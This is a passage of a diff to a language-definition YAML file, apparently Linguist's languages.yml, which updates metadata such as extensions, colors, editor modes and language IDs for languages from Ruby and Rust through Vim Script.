   type: programming
   ace_mode: clojure
+  codemirror_mode: clojure
+  codemirror_mime_type: text/x-clojure
   color: "#cc0088"
   extensions:
-  - .rg
+  - ".rg"
   tm_scope: source.clojure
-
+  language_id: 325
+RouterOS Script:
+  type: programming
+  ace_mode: text
+  extensions:
+  - ".rsc"
+  interpreters:
+  - RouterOS
+  color: "#DE3941"
+  tm_scope: none
+  language_id: 592853203
 Ruby:
   type: programming
+  tm_scope: source.ruby
   ace_mode: ruby
+  codemirror_mode: ruby
+  codemirror_mime_type: text/x-ruby
   color: "#701516"
   aliases:
   - jruby
@@ -3294,25 +6337,28 @@ Ruby:
   - rb
   - rbx
   extensions:
-  - .rb
-  - .builder
-  - .fcgi
-  - .gemspec
-  - .god
-  - .irbrc
-  - .jbuilder
-  - .mspec
-  - .pluginspec
-  - .podspec
-  - .rabl
-  - .rake
-  - .rbuild
-  - .rbw
-  - .rbx
-  - .ru
-  - .ruby
-  - .thor
-  - .watchr
+  - ".rb"
+  - ".builder"
+  - ".eye"
+  - ".fcgi"
+  - ".gemspec"
+  - ".god"
+  - ".jbuilder"
+  - ".mspec"
+  - ".pluginspec"
+  - ".podspec"
+  - ".prawn"
+  - ".rabl"
+  - ".rake"
+  - ".rbi"
+  - ".rbuild"
+  - ".rbw"
+  - ".rbx"
+  - ".ru"
+  - ".ruby"
+  - ".spec"
+  - ".thor"
+  - ".watchr"
   interpreters:
   - ruby
   - macruby
@@ -3320,55 +6366,86 @@ Ruby:
   - jruby
   - rbx
   filenames:
-  - .pryrc
+  - ".irbrc"
+  - ".pryrc"
+  - ".simplecov"
   - Appraisals
   - Berksfile
   - Brewfile
   - Buildfile
+  - Capfile
+  - Dangerfile
   - Deliverfile
   - Fastfile
   - Gemfile
-  - Gemfile.lock
   - Guardfile
   - Jarfile
   - Mavenfile
   - Podfile
   - Puppetfile
+  - Rakefile
   - Snapfile
+  - Steepfile
   - Thorfile
   - Vagrantfile
   - buildfile
-
+  language_id: 326
 Rust:
   type: programming
+  aliases:
+  - rs
   color: "#dea584"
   extensions:
-  - .rs
-  - .rs.in
+  - ".rs"
+  - ".rs.in"
+  tm_scope: source.rust
   ace_mode: rust
-
+  codemirror_mode: rust
+  codemirror_mime_type: text/x-rustsrc
+  interpreters:
+  - rust-script
+  language_id: 327
 SAS:
   type: programming
   color: "#B34936"
   extensions:
-  - .sas
+  - ".sas"
   tm_scope: source.sas
   ace_mode: text
-
+  codemirror_mode: sas
+  codemirror_mime_type: text/x-sas
+  language_id: 328
 SCSS:
   type: markup
-  tm_scope: source.scss
-  group: CSS
+  color: "#c6538c"
+  tm_scope: source.css.scss
   ace_mode: scss
+  codemirror_mode: css
+  codemirror_mime_type: text/x-scss
+  extensions:
+  - ".scss"
+  language_id: 329
+SELinux Policy:
+  aliases:
+  - SELinux Kernel Policy Language
+  - sepolicy
+  type: data
+  tm_scope: source.sepolicy
   extensions:
-  - .scss
-  color: "#CF649A"
-
+  - ".te"
+  filenames:
+  - file_contexts
+  - genfs_contexts
+  - initial_sids
+  - port_contexts
+  - security_classes
+  ace_mode: text
+  language_id: 880010326
 SMT:
   type: programming
   extensions:
-  - .smt2
-  - .smt
+  - ".smt2"
+  - ".smt"
   interpreters:
   - boolector
   - cvc4
@@ -3382,79 +6459,134 @@ SMT:
   - z3
   tm_scope: source.smt
   ace_mode: text
-
+  language_id: 330
 SPARQL:
   type: data
+  color: "#0C4597"
   tm_scope: source.sparql
   ace_mode: text
+  codemirror_mode: sparql
+  codemirror_mime_type: application/sparql-query
   extensions:
-  - .sparql
-  - .rq
-
+  - ".sparql"
+  - ".rq"
+  language_id: 331
 SQF:
   type: programming
   color: "#3F3F3F"
   extensions:
-  - .sqf
-  - .hqf
+  - ".sqf"
+  - ".hqf"
   tm_scope: source.sqf
   ace_mode: text
-
+  language_id: 332
 SQL:
   type: data
+  color: "#e38c00"
   tm_scope: source.sql
   ace_mode: sql
-  extensions:
-  - .sql
-  - .cql
-  - .ddl
-  - .inc
-  - .prc
-  - .tab
-  - .udf
-  - .viw
-
-#IBM DB2
+  codemirror_mode: sql
+  codemirror_mime_type: text/x-sql
+  extensions:
+  - ".sql"
+  - ".cql"
+  - ".ddl"
+  - ".inc"
+  - ".mysql"
+  - ".prc"
+  - ".tab"
+  - ".udf"
+  - ".viw"
+  language_id: 333
 SQLPL:
   type: programming
+  color: "#e38c00"
   ace_mode: sql
+  codemirror_mode: sql
+  codemirror_mime_type: text/x-sql
   tm_scope: source.sql
   extensions:
-  - .sql
-  - .db2
-
+  - ".sql"
+  - ".db2"
+  language_id: 334
 SRecode Template:
   type: markup
   color: "#348a34"
   tm_scope: source.lisp
   ace_mode: lisp
+  codemirror_mode: commonlisp
+  codemirror_mime_type: text/x-common-lisp
+  extensions:
+  - ".srt"
+  language_id: 335
+SSH Config:
+  type: data
+  group: INI
+  filenames:
+  - ssh-config
+  - ssh_config
+  - sshconfig
+  - sshconfig.snip
+  - sshd-config
+  - sshd_config
+  ace_mode: text
+  tm_scope: source.ssh-config
+  language_id: 554920715
+STAR:
+  type: data
+  extensions:
+  - ".star"
+  tm_scope: source.star
+  ace_mode: text
+  language_id: 424510560
+STL:
+  type: data
+  color: "#373b5e"
+  aliases:
+  - ascii stl
+  - stla
   extensions:
-  - .srt
-
+  - ".stl"
+  tm_scope: source.stl
+  ace_mode: text
+  language_id: 455361735
 STON:
   type: data
   group: Smalltalk
   extensions:
-  - .ston
+  - ".ston"
   tm_scope: source.smalltalk
   ace_mode: text
-
+  language_id: 336
 SVG:
   type: data
+  color: "#ff9900"
   extensions:
-  - .svg
-  tm_scope: text.xml
+  - ".svg"
+  tm_scope: text.xml.svg
   ace_mode: xml
-
+  codemirror_mode: xml
+  codemirror_mime_type: text/xml
+  language_id: 337
+SWIG:
+  type: programming
+  extensions:
+  - ".i"
+  tm_scope: source.c++
+  ace_mode: c_cpp
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-c++src
+  language_id: 1066250075
 Sage:
   type: programming
-  group: Python
   extensions:
-  - .sage
-  - .sagews
+  - ".sage"
+  - ".sagews"
   tm_scope: source.python
   ace_mode: python
-
+  codemirror_mode: python
+  codemirror_mime_type: text/x-python
+  language_id: 338
 SaltStack:
   type: programming
   color: "#646464"
@@ -3462,706 +6594,1534 @@ SaltStack:
   - saltstate
   - salt
   extensions:
-  - .sls
+  - ".sls"
   tm_scope: source.yaml.salt
   ace_mode: yaml
-
+  codemirror_mode: yaml
+  codemirror_mime_type: text/x-yaml
+  language_id: 339
 Sass:
   type: markup
+  color: "#a53b70"
   tm_scope: source.sass
-  group: CSS
   extensions:
-  - .sass
+  - ".sass"
   ace_mode: sass
-  color: "#CF649A"
-
+  codemirror_mode: sass
+  codemirror_mime_type: text/x-sass
+  language_id: 340
 Scala:
   type: programming
+  tm_scope: source.scala
   ace_mode: scala
-  color: "#DC322F"
-  extensions:
-  - .scala
-  - .sbt
-  - .sc
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-scala
+  color: "#c22d40"
+  extensions:
+  - ".scala"
+  - ".kojo"
+  - ".sbt"
+  - ".sc"
   interpreters:
   - scala
-
+  language_id: 341
 Scaml:
-  group: HTML
   type: markup
+  color: "#bd181a"
   extensions:
-  - .scaml
+  - ".scaml"
   tm_scope: source.scaml
   ace_mode: text
-
+  language_id: 342
+Scenic:
+  type: programming
+  color: "#fdc700"
+  extensions:
+  - ".scenic"
+  tm_scope: source.scenic
+  ace_mode: text
+  interpreters:
+  - scenic
+  language_id: 619814037
 Scheme:
   type: programming
   color: "#1e4aec"
   extensions:
-  - .scm
-  - .sld
-  - .sls
-  - .sps
-  - .ss
+  - ".scm"
+  - ".sch"
+  - ".sld"
+  - ".sls"
+  - ".sps"
+  - ".ss"
   interpreters:
+  - scheme
   - guile
   - bigloo
   - chicken
   - csi
   - gosh
   - r6rs
+  tm_scope: source.scheme
   ace_mode: scheme
-
+  codemirror_mode: scheme
+  codemirror_mime_type: text/x-scheme
+  language_id: 343
 Scilab:
   type: programming
+  color: "#ca0f21"
   extensions:
-  - .sci
-  - .sce
-  - .tst
+  - ".sci"
+  - ".sce"
+  - ".tst"
+  tm_scope: source.scilab
   ace_mode: text
-
+  language_id: 344
 Self:
   type: programming
   color: "#0579aa"
   extensions:
-  - .self
+  - ".self"
   tm_scope: none
   ace_mode: text
-
+  language_id: 345
+ShaderLab:
+  type: programming
+  color: "#222c37"
+  extensions:
+  - ".shader"
+  ace_mode: text
+  tm_scope: source.shaderlab
+  language_id: 664257356
 Shell:
   type: programming
-  search_term: bash
   color: "#89e051"
   aliases:
   - sh
   - shell-script
   - bash
   - zsh
-  extensions:
-  - .sh
-  - .bash
-  - .bats
-  - .cgi
-  - .command
-  - .fcgi
-  - .ksh
-  - .sh.in
-  - .tmux
-  - .tool
-  - .zsh
+  - envrc
+  extensions:
+  - ".sh"
+  - ".bash"
+  - ".bats"
+  - ".cgi"
+  - ".command"
+  - ".fcgi"
+  - ".ksh"
+  - ".sh.in"
+  - ".tmux"
+  - ".tool"
+  - ".trigger"
+  - ".zsh"
+  - ".zsh-theme"
   filenames:
-  - .bash_history
-  - .bash_logout
-  - .bash_profile
-  - .bashrc
+  - ".bash_aliases"
+  - ".bash_functions"
+  - ".bash_history"
+  - ".bash_logout"
+  - ".bash_profile"
+  - ".bashrc"
+  - ".cshrc"
+  - ".envrc"
+  - ".flaskenv"
+  - ".kshrc"
+  - ".login"
+  - ".profile"
+  - ".tmux.conf"
+  - ".zlogin"
+  - ".zlogout"
+  - ".zprofile"
+  - ".zshenv"
+  - ".zshrc"
+  - 9fs
   - PKGBUILD
+  - bash_aliases
+  - bash_logout
+  - bash_profile
+  - bashrc
+  - cshrc
   - gradlew
+  - kshrc
+  - login
+  - man
+  - profile
+  - tmux.conf
+  - zlogin
+  - zlogout
+  - zprofile
+  - zshenv
+  - zshrc
   interpreters:
+  - ash
   - bash
+  - dash
+  - ksh
+  - mksh
+  - pdksh
   - rc
   - sh
   - zsh
+  tm_scope: source.shell
   ace_mode: sh
-
+  codemirror_mode: shell
+  codemirror_mime_type: text/x-sh
+  language_id: 346
+ShellCheck Config:
+  type: data
+  color: "#cecfcb"
+  filenames:
+  - ".shellcheckrc"
+  aliases:
+  - shellcheckrc
+  tm_scope: source.shellcheckrc
+  ace_mode: ini
+  codemirror_mode: properties
+  codemirror_mime_type: text/x-properties
+  language_id: 687511714
 ShellSession:
   type: programming
   extensions:
-  - .sh-session
+  - ".sh-session"
   aliases:
   - bash session
   - console
   tm_scope: text.shell-session
   ace_mode: sh
-
+  codemirror_mode: shell
+  codemirror_mime_type: text/x-sh
+  language_id: 347
 Shen:
   type: programming
   color: "#120F14"
   extensions:
-  - .shen
-  tm_scope: none
+  - ".shen"
+  tm_scope: source.shen
+  ace_mode: text
+  language_id: 348
+Sieve:
+  type: programming
+  tm_scope: source.sieve
+  ace_mode: text
+  extensions:
+  - ".sieve"
+  codemirror_mode: sieve
+  codemirror_mime_type: application/sieve
+  language_id: 208976687
+Simple File Verification:
+  type: data
+  group: Checksums
+  color: "#C9BFED"
+  extensions:
+  - ".sfv"
+  aliases:
+  - sfv
+  tm_scope: source.sfv
+  ace_mode: ini
+  codemirror_mode: properties
+  codemirror_mime_type: text/x-properties
+  language_id: 735623761
+Singularity:
+  type: programming
+  color: "#64E6AD"
+  tm_scope: source.singularity
+  filenames:
+  - Singularity
   ace_mode: text
-
+  language_id: 987024632
 Slash:
   type: programming
   color: "#007eff"
   extensions:
-  - .sl
+  - ".sl"
   tm_scope: text.html.slash
   ace_mode: text
-
+  language_id: 349
+Slice:
+  type: programming
+  color: "#003fa2"
+  tm_scope: source.ice
+  ace_mode: text
+  extensions:
+  - ".ice"
+  language_id: 894641667
 Slim:
-  group: HTML
   type: markup
-  color: "#ff8f77"
+  color: "#2b2b2b"
   extensions:
-  - .slim
+  - ".slim"
   tm_scope: text.slim
   ace_mode: text
-
+  codemirror_mode: slim
+  codemirror_mime_type: text/x-slim
+  language_id: 350
+Slint:
+  type: markup
+  color: "#2379F4"
+  extensions:
+  - ".slint"
+  tm_scope: source.slint
+  ace_mode: text
+  language_id: 119900149
+SmPL:
+  type: programming
+  extensions:
+  - ".cocci"
+  aliases:
+  - coccinelle
+  ace_mode: text
+  tm_scope: source.smpl
+  color: "#c94949"
+  language_id: 164123055
 Smali:
   type: programming
   extensions:
-  - .smali
+  - ".smali"
   ace_mode: text
   tm_scope: source.smali
-
+  language_id: 351
 Smalltalk:
   type: programming
   color: "#596706"
   extensions:
-  - .st
-  - .cs
+  - ".st"
+  - ".cs"
   aliases:
   - squeak
+  tm_scope: source.smalltalk
   ace_mode: text
-
+  codemirror_mode: smalltalk
+  codemirror_mime_type: text/x-stsrc
+  language_id: 352
 Smarty:
   type: programming
+  color: "#f0c040"
   extensions:
-  - .tpl
+  - ".tpl"
   ace_mode: smarty
+  codemirror_mode: smarty
+  codemirror_mime_type: text/x-smarty
   tm_scope: text.html.smarty
-
+  language_id: 353
+Smithy:
+  type: programming
+  ace_mode: text
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csrc
+  tm_scope: source.smithy
+  color: "#c44536"
+  extensions:
+  - ".smithy"
+  language_id: 1027892786
+Snakemake:
+  type: programming
+  group: Python
+  tm_scope: source.python
+  ace_mode: python
+  codemirror_mode: python
+  codemirror_mime_type: text/x-python
+  color: "#419179"
+  extensions:
+  - ".smk"
+  - ".snakefile"
+  filenames:
+  - Snakefile
+  aliases:
+  - snakefile
+  language_id: 151241392
+Solidity:
+  type: programming
+  color: "#AA6746"
+  ace_mode: text
+  tm_scope: source.solidity
+  extensions:
+  - ".sol"
+  language_id: 237469032
+Soong:
+  type: data
+  tm_scope: source.bp
+  ace_mode: text
+  filenames:
+  - Android.bp
+  language_id: 222900098
 SourcePawn:
   type: programming
-  color: "#5c7611"
+  color: "#f69e1d"
   aliases:
   - sourcemod
   extensions:
-  - .sp
-  - .inc
-  - .sma
-  tm_scope: source.sp
+  - ".sp"
+  - ".inc"
+  tm_scope: source.sourcepawn
   ace_mode: text
-
+  language_id: 354
+Spline Font Database:
+  type: data
+  extensions:
+  - ".sfd"
+  tm_scope: text.sfd
+  ace_mode: yaml
+  language_id: 767169629
 Squirrel:
   type: programming
   color: "#800000"
   extensions:
-  - .nut
-  tm_scope: source.c++
+  - ".nut"
+  tm_scope: source.nut
   ace_mode: c_cpp
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-c++src
+  language_id: 355
 Stan:
   type: programming
   color: "#b2011d"
   extensions:
-  - .stan
+  - ".stan"
   ace_mode: text
   tm_scope: source.stan
-
+  language_id: 356
 Standard ML:
   type: programming
   color: "#dc566d"
   aliases:
   - sml
   extensions:
-  - .ML
-  - .fun
-  - .sig
-  - .sml
+  - ".ml"
+  - ".fun"
+  - ".sig"
+  - ".sml"
   tm_scope: source.ml
   ace_mode: text
-
+  codemirror_mode: mllike
+  codemirror_mime_type: text/x-ocaml
+  language_id: 357
+Starlark:
+  type: programming
+  tm_scope: source.python
+  ace_mode: python
+  codemirror_mode: python
+  codemirror_mime_type: text/x-python
+  color: "#76d275"
+  extensions:
+  - ".bzl"
+  - ".star"
+  filenames:
+  - BUCK
+  - BUILD
+  - BUILD.bazel
+  - MODULE.bazel
+  - Tiltfile
+  - WORKSPACE
+  - WORKSPACE.bazel
+  aliases:
+  - bazel
+  - bzl
+  language_id: 960266174
 Stata:
   type: programming
+  color: "#1a5f91"
   extensions:
-  - .do
-  - .ado
-  - .doh
-  - .ihlp
-  - .mata
-  - .matah
-  - .sthlp
+  - ".do"
+  - ".ado"
+  - ".doh"
+  - ".ihlp"
+  - ".mata"
+  - ".matah"
+  - ".sthlp"
+  tm_scope: source.stata
   ace_mode: text
-
+  language_id: 358
+StringTemplate:
+  type: markup
+  color: "#3fb34f"
+  extensions:
+  - ".st"
+  tm_scope: source.string-template
+  ace_mode: html
+  codemirror_mode: htmlmixed
+  codemirror_mime_type: text/html
+  language_id: 89855901
 Stylus:
   type: markup
-  group: CSS
+  color: "#ff6347"
   extensions:
-  - .styl
+  - ".styl"
   tm_scope: source.stylus
   ace_mode: stylus
-
+  language_id: 359
 SubRip Text:
   type: data
+  color: "#9e0101"
   extensions:
-  - .srt
+  - ".srt"
   ace_mode: text
   tm_scope: text.srt
-
+  language_id: 360
+SugarSS:
+  type: markup
+  color: "#2fcc9f"
+  tm_scope: source.css.postcss.sugarss
+  extensions:
+  - ".sss"
+  ace_mode: text
+  language_id: 826404698
 SuperCollider:
   type: programming
   color: "#46390b"
   extensions:
-  - .sc
-  - .scd
+  - ".sc"
+  - ".scd"
   interpreters:
   - sclang
   - scsynth
   tm_scope: source.supercollider
   ace_mode: text
-
+  language_id: 361
+Svelte:
+  type: markup
+  color: "#ff3e00"
+  tm_scope: source.svelte
+  ace_mode: html
+  codemirror_mode: htmlmixed
+  codemirror_mime_type: text/html
+  extensions:
+  - ".svelte"
+  language_id: 928734530
+Sway:
+  type: programming
+  color: "#00F58C"
+  extensions:
+  - ".sw"
+  tm_scope: source.sway
+  ace_mode: rust
+  codemirror_mode: rust
+  codemirror_mime_type: text/x-rustsrc
+  language_id: 271471144
+Sweave:
+  type: prose
+  color: "#198ce7"
+  extensions:
+  - ".rnw"
+  tm_scope: text.tex.latex.sweave
+  ace_mode: tex
+  language_id: 558779190
 Swift:
   type: programming
-  color: "#ffac45"
+  color: "#F05138"
   extensions:
-  - .swift
+  - ".swift"
+  tm_scope: source.swift
   ace_mode: text
-
+  codemirror_mode: swift
+  codemirror_mime_type: text/x-swift
+  language_id: 362
 SystemVerilog:
   type: programming
   color: "#DAE1C2"
   extensions:
-  - .sv
-  - .svh
-  - .vh
+  - ".sv"
+  - ".svh"
+  - ".vh"
+  tm_scope: source.systemverilog
+  ace_mode: verilog
+  codemirror_mode: verilog
+  codemirror_mime_type: text/x-systemverilog
+  language_id: 363
+TI Program:
+  type: programming
+  ace_mode: text
+  color: "#A0AA87"
+  extensions:
+  - ".8xp"
+  - ".8xp.txt"
+  language_id: 422
+  tm_scope: source.8xp
+TL-Verilog:
+  type: programming
+  extensions:
+  - ".tlv"
+  tm_scope: source.tlverilog
   ace_mode: verilog
-
+  color: "#C40023"
+  language_id: 118656070
 TLA:
   type: programming
+  color: "#4b0079"
   extensions:
-  - .tla
+  - ".tla"
   tm_scope: source.tla
   ace_mode: text
-
+  language_id: 364
 TOML:
   type: data
+  color: "#9c4221"
   extensions:
-  - .toml
+  - ".toml"
+  filenames:
+  - Cargo.lock
+  - Cargo.toml.orig
+  - Gopkg.lock
+  - Pipfile
+  - pdm.lock
+  - poetry.lock
+  - uv.lock
   tm_scope: source.toml
   ace_mode: toml
-
+  codemirror_mode: toml
+  codemirror_mime_type: text/x-toml
+  language_id: 365
+TSQL:
+  type: programming
+  color: "#e38c00"
+  extensions:
+  - ".sql"
+  ace_mode: sql
+  tm_scope: source.tsql
+  language_id: 918334941
+TSV:
+  type: data
+  color: "#237346"
+  ace_mode: text
+  tm_scope: source.generic-db
+  extensions:
+  - ".tsv"
+  - ".vcf"
+  aliases:
+  - tab-seperated values
+  language_id: 1035892117
+TSX:
+  type: programming
+  color: "#3178c6"
+  group: TypeScript
+  extensions:
+  - ".tsx"
+  tm_scope: source.tsx
+  ace_mode: javascript
+  codemirror_mode: jsx
+  codemirror_mime_type: text/jsx
+  language_id: 94901924
 TXL:
   type: programming
+  color: "#0178b8"
   extensions:
-  - .txl
+  - ".txl"
   tm_scope: source.txl
   ace_mode: text
-
+  language_id: 366
+Talon:
+  type: programming
+  ace_mode: text
+  color: "#333333"
+  extensions:
+  - ".talon"
+  tm_scope: source.talon
+  language_id: 959889508
 Tcl:
   type: programming
   color: "#e4cc98"
   extensions:
-  - .tcl
-  - .adp
-  - .tm
+  - ".tcl"
+  - ".adp"
+  - ".sdc"
+  - ".tcl.in"
+  - ".tm"
+  - ".xdc"
+  aliases:
+  - sdc
+  - xdc
+  filenames:
+  - owh
+  - starfield
   interpreters:
   - tclsh
   - wish
+  tm_scope: source.tcl
   ace_mode: tcl
-
+  codemirror_mode: tcl
+  codemirror_mime_type: text/x-tcl
+  language_id: 367
 Tcsh:
   type: programming
   group: Shell
   extensions:
-  - .tcsh
-  - .csh
+  - ".tcsh"
+  - ".csh"
+  interpreters:
+  - tcsh
+  - csh
   tm_scope: source.shell
   ace_mode: sh
-
+  codemirror_mode: shell
+  codemirror_mime_type: text/x-sh
+  language_id: 368
 TeX:
   type: markup
   color: "#3D6117"
   ace_mode: tex
+  codemirror_mode: stex
+  codemirror_mime_type: text/x-stex
+  tm_scope: text.tex.latex
   wrap: true
   aliases:
   - latex
   extensions:
-  - .tex
-  - .aux
-  - .bbx
-  - .bib
-  - .cbx
-  - .cls
-  - .dtx
-  - .ins
-  - .lbx
-  - .ltx
-  - .mkii
-  - .mkiv
-  - .mkvi
-  - .sty
-  - .toc
-
+  - ".tex"
+  - ".aux"
+  - ".bbx"
+  - ".cbx"
+  - ".cls"
+  - ".dtx"
+  - ".ins"
+  - ".lbx"
+  - ".ltx"
+  - ".mkii"
+  - ".mkiv"
+  - ".mkvi"
+  - ".sty"
+  - ".toc"
+  language_id: 369
 Tea:
   type: markup
   extensions:
-  - .tea
+  - ".tea"
   tm_scope: source.tea
   ace_mode: text
-
+  language_id: 370
 Terra:
   type: programming
   extensions:
-  - .t
+  - ".t"
   color: "#00004c"
+  tm_scope: source.terra
   ace_mode: lua
+  codemirror_mode: lua
+  codemirror_mime_type: text/x-lua
   interpreters:
   - lua
-
+  language_id: 371
+Terraform Template:
+  type: markup
+  extensions:
+  - ".tftpl"
+  color: "#7b42bb"
+  tm_scope: source.hcl.terraform
+  ace_mode: ruby
+  codemirror_mode: ruby
+  codemirror_mime_type: text/x-ruby
+  group: HCL
+  language_id: 856832701
+Texinfo:
+  type: prose
+  wrap: true
+  extensions:
+  - ".texinfo"
+  - ".texi"
+  - ".txi"
+  ace_mode: text
+  tm_scope: text.texinfo
+  interpreters:
+  - makeinfo
+  language_id: 988020015
 Text:
   type: prose
   wrap: true
   aliases:
   - fundamental
+  - plain text
   extensions:
-  - .txt
-  - .fr
-  - .nb
-  - .ncl
-  - .no
+  - ".txt"
+  - ".fr"
+  - ".nb"
+  - ".ncl"
+  - ".no"
   filenames:
+  - CITATION
+  - CITATIONS
   - COPYING
+  - COPYING.regex
+  - COPYRIGHT.regex
+  - FONTLOG
   - INSTALL
+  - INSTALL.mysql
   - LICENSE
+  - LICENSE.mysql
   - NEWS
-  - README.1ST
   - README.me
+  - README.mysql
+  - README.nss
   - click.me
   - delete.me
   - keep.me
+  - package.mask
+  - package.use.mask
+  - package.use.stable.mask
   - read.me
+  - readme.1st
   - test.me
+  - use.mask
+  - use.stable.mask
   tm_scope: none
   ace_mode: text
-
+  language_id: 372
+TextGrid:
+  type: data
+  color: "#c8506d"
+  tm_scope: source.textgrid
+  ace_mode: text
+  extensions:
+  - ".TextGrid"
+  language_id: 965696054
+TextMate Properties:
+  type: data
+  color: "#df66e4"
+  aliases:
+  - tm-properties
+  filenames:
+  - ".tm_properties"
+  ace_mode: properties
+  codemirror_mode: properties
+  codemirror_mime_type: text/x-properties
+  tm_scope: source.tm-properties
+  language_id: 981795023
 Textile:
   type: prose
+  color: "#ffe7ac"
   ace_mode: textile
+  codemirror_mode: textile
+  codemirror_mime_type: text/x-textile
   wrap: true
   extensions:
-  - .textile
+  - ".textile"
   tm_scope: none
-
+  language_id: 373
 Thrift:
   type: programming
+  color: "#D12127"
   tm_scope: source.thrift
   extensions:
-  - .thrift
+  - ".thrift"
+  ace_mode: text
+  language_id: 374
+Toit:
+  type: programming
+  color: "#c2c9fb"
+  extensions:
+  - ".toit"
+  tm_scope: source.toit
   ace_mode: text
-
+  language_id: 356554395
 Turing:
   type: programming
   color: "#cf142b"
   extensions:
-  - .t
-  - .tu
+  - ".t"
+  - ".tu"
   tm_scope: source.turing
   ace_mode: text
-
+  language_id: 375
 Turtle:
   type: data
   extensions:
-  - .ttl
+  - ".ttl"
   tm_scope: source.turtle
   ace_mode: text
-
+  codemirror_mode: turtle
+  codemirror_mime_type: text/turtle
+  language_id: 376
 Twig:
   type: markup
-  group: HTML
+  color: "#c1d026"
   extensions:
-  - .twig
+  - ".twig"
   tm_scope: text.html.twig
   ace_mode: twig
-
+  codemirror_mode: twig
+  codemirror_mime_type: text/x-twig
+  language_id: 377
+Type Language:
+  type: data
+  aliases:
+  - tl
+  extensions:
+  - ".tl"
+  tm_scope: source.tl
+  ace_mode: text
+  language_id: 632765617
 TypeScript:
   type: programming
-  color: "#2b7489"
+  color: "#3178c6"
   aliases:
   - ts
+  interpreters:
+  - deno
+  - ts-node
+  - tsx
   extensions:
-  - .ts
-  - .tsx
+  - ".ts"
+  - ".cts"
+  - ".mts"
   tm_scope: source.ts
   ace_mode: typescript
-
+  codemirror_mode: javascript
+  codemirror_mime_type: application/typescript
+  language_id: 378
+Typst:
+  type: programming
+  color: "#239dad"
+  aliases:
+  - typ
+  extensions:
+  - ".typ"
+  tm_scope: source.typst
+  ace_mode: text
+  language_id: 704730682
 Unified Parallel C:
   type: programming
+  color: "#4e3617"
   group: C
   ace_mode: c_cpp
-  color: "#4e3617"
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csrc
   extensions:
-  - .upc
+  - ".upc"
   tm_scope: source.c
-
+  language_id: 379
 Unity3D Asset:
   type: data
+  color: "#222c37"
   ace_mode: yaml
-  extensions:
-  - .anim
-  - .asset
-  - .mat
-  - .meta
-  - .prefab
-  - .unity
+  codemirror_mode: yaml
+  codemirror_mime_type: text/x-yaml
+  extensions:
+  - ".anim"
+  - ".asset"
+  - ".mask"
+  - ".mat"
+  - ".meta"
+  - ".prefab"
+  - ".unity"
   tm_scope: source.yaml
-
+  language_id: 380
+Unix Assembly:
+  type: programming
+  group: Assembly
+  extensions:
+  - ".s"
+  - ".ms"
+  aliases:
+  - gas
+  - gnu asm
+  - unix asm
+  tm_scope: source.x86
+  ace_mode: assembly_x86
+  language_id: 120
 Uno:
   type: programming
+  color: "#9933cc"
   extensions:
-  - .uno
+  - ".uno"
   ace_mode: csharp
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csharp
   tm_scope: source.cs
-
+  language_id: 381
 UnrealScript:
   type: programming
   color: "#a54c4d"
   extensions:
-  - .uc
+  - ".uc"
   tm_scope: source.java
   ace_mode: java
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-java
+  language_id: 382
 UrWeb:
   type: programming
+  color: "#ccccee"
   aliases:
   - Ur/Web
   - Ur
   extensions:
-  - .ur
-  - .urs
+  - ".ur"
+  - ".urs"
   tm_scope: source.ur
   ace_mode: text
-
+  language_id: 383
+V:
+  type: programming
+  color: "#4f87c4"
+  aliases:
+  - vlang
+  extensions:
+  - ".v"
+  tm_scope: source.v
+  ace_mode: golang
+  codemirror_mode: go
+  codemirror_mime_type: text/x-go
+  language_id: 603371597
+VBA:
+  type: programming
+  color: "#867db1"
+  extensions:
+  - ".bas"
+  - ".cls"
+  - ".frm"
+  - ".vba"
+  tm_scope: source.vba
+  aliases:
+  - visual basic for applications
+  ace_mode: text
+  codemirror_mode: vb
+  codemirror_mime_type: text/x-vb
+  language_id: 399230729
+VBScript:
+  type: programming
+  color: "#15dcdc"
+  extensions:
+  - ".vbs"
+  tm_scope: source.vbnet
+  ace_mode: text
+  codemirror_mode: vbscript
+  codemirror_mime_type: text/vbscript
+  language_id: 408016005
 VCL:
-  group: Perl
   type: programming
+  color: "#148AA8"
   extensions:
-  - .vcl
+  - ".vcl"
   tm_scope: source.varnish.vcl
   ace_mode: text
-
+  language_id: 384
 VHDL:
   type: programming
   color: "#adb2cb"
   extensions:
-  - .vhdl
-  - .vhd
-  - .vhf
-  - .vhi
-  - .vho
-  - .vhs
-  - .vht
-  - .vhw
+  - ".vhdl"
+  - ".vhd"
+  - ".vhf"
+  - ".vhi"
+  - ".vho"
+  - ".vhs"
+  - ".vht"
+  - ".vhw"
+  tm_scope: source.vhdl
   ace_mode: vhdl
-
+  codemirror_mode: vhdl
+  codemirror_mime_type: text/x-vhdl
+  language_id: 385
 Vala:
   type: programming
-  color: "#fbe5cd"
+  color: "#a56de2"
   extensions:
-  - .vala
-  - .vapi
+  - ".vala"
+  - ".vapi"
+  tm_scope: source.vala
   ace_mode: vala
-
+  language_id: 386
+Valve Data Format:
+  type: data
+  color: "#f26025"
+  aliases:
+  - keyvalues
+  - vdf
+  extensions:
+  - ".vdf"
+  ace_mode: text
+  tm_scope: source.keyvalues
+  language_id: 544060961
+Velocity Template Language:
+  type: markup
+  color: "#507cff"
+  aliases:
+  - vtl
+  - velocity
+  extensions:
+  - ".vtl"
+  ace_mode: velocity
+  tm_scope: source.velocity
+  codemirror_mode: velocity
+  codemirror_mime_type: text/velocity
+  language_id: 292377326
 Verilog:
   type: programming
   color: "#b2b7f8"
   extensions:
-  - .v
-  - .veo
+  - ".v"
+  - ".veo"
+  tm_scope: source.verilog
   ace_mode: verilog
-
-VimL:
+  codemirror_mode: verilog
+  codemirror_mime_type: text/x-verilog
+  language_id: 387
+Vim Help File:
+  type: prose
+  color: "#199f4b"
+  aliases:
+  - help
+  - vimhelp
+  extensions:
+  - ".txt"
+  tm_scope: text.vim-help
+  ace_mode: text
+  language_id: 508563686
+Vim Script:
   type: programming
   color: "#199f4b"
-  search_term: vim
+  tm_scope: source.viml
   aliases:
   - vim
+  - viml
   - nvim
+  - vimscript
   extensions:
-  - .vim
+  - ".vim"
+  - ".vba"
+  - ".vimrc"
+  - ".vmb"
   filenames:
-  - .nvimrc
-  - .vimrc
+  - ".exrc"
+  - ".gvimrc"
+  - ".nvimrc"
+  - ".vimrc"
   - _vimrc
